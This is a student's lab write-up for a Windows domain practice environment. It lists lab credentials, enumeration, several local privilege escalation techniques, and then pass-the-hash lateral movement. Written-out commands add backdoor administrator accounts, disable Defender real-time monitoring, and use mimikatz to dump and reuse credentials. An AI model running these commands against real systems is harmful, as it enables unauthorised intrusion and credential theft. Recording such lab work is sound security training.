Writeup

CST lab 1

Login to system:

User: normaluser

Pass: L3tm3!n

Ran config

2 Ethernet adapters:

10.0.3.2

192.168.56.40

Ran angry IP scanner:

Results;

192.168.56.1 : DTP51006

192.168.56.10 : WIN2019DC

192.168.56.40 : win10client.ADLAB.local

192.168.56.100 : N/A

Net user /domain
Net group /domain
Net group “domain admins” /domain

Have sysinternals tools from explorer using:

https:\\live.sysinternals.com

Attack 1

Located a program running in system tray: Remote mouse

Looked up Remote mouse exploits: https://www.exploit-db.com/exploits/50047

Open file explorer in remote mouse: ran C:\Windows\System32\cmd.exe

Ran whoami: nt authority\system

net user menno menno /add && net localgroup administrators menno /add

Attack 2

Found pinger.bat in C:/temp/

Pinglog shows this likely runs on winlogon.

Files in the /temp/ directory can be modified by our user.

Created new pinger.bat containing; start cmd /K “whoami”

When logging in to user new cmd window will open.

Attack 3

Services.msc

Found DCAL Service without description:

Path to executable adds a user: fakeadmin B@ckd00r123 & adds it to localadmin.

Attack 4

Services.msc

Insecure registry service

Open regedit and find regsvc under Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\dllsvc

Fix the typo’s in in Image path.

Attack 5

Unquoted Path Service

Path to execute does not contain “”

Made a .bat file in “C:/Programfiles/Unquoted Path Service” called common.bat

Converted to .exe using bat2exe github.com/dehoisted/bat2exe

Placed created exe in folder and started service manually.

common:common user was created and added to admin

Exploit 6

Always install elevated:

.msi will run under privilaged

Exploit 7

Repair msi.

Exploit 8

DLL hijack
Look for .exe in services

Copy exe to own machine

Run procmon and add filters to only include our process name and ending on .dll

Add exe to services using sc create SERVICENAME binpath=".EXE"

Run the services.

Now windows will look for the DLL first in the folder of the exe, then the windows folders. And lastly your PATH variable.

Echo %PATH% in cmd to see

Compile .c to .dll and add to /temp folder

Start service.

Privesc

Disabled windows defender from local admin account.

Dump password hashes using mimikatz.

Passthe hash using mimikatz: sekurlsa::pth /user:administrator /domain:win10client /ntlm:af99..

Ping win10adm

dir \\192.168.56.30\c$

psexec -r Malware -accepteula \\192.168.56.30 cmd.exe

powershell

Set-MpPreference -DisableRealtimeMonitoring $true

Net use x: \\192.168.56.30\c$

Copy C:\Users\normaluser\Downloads\mimikatz_trunk\x64 .

./mimikatz.exe

privilege::debug

sekurlsa::logonpasswords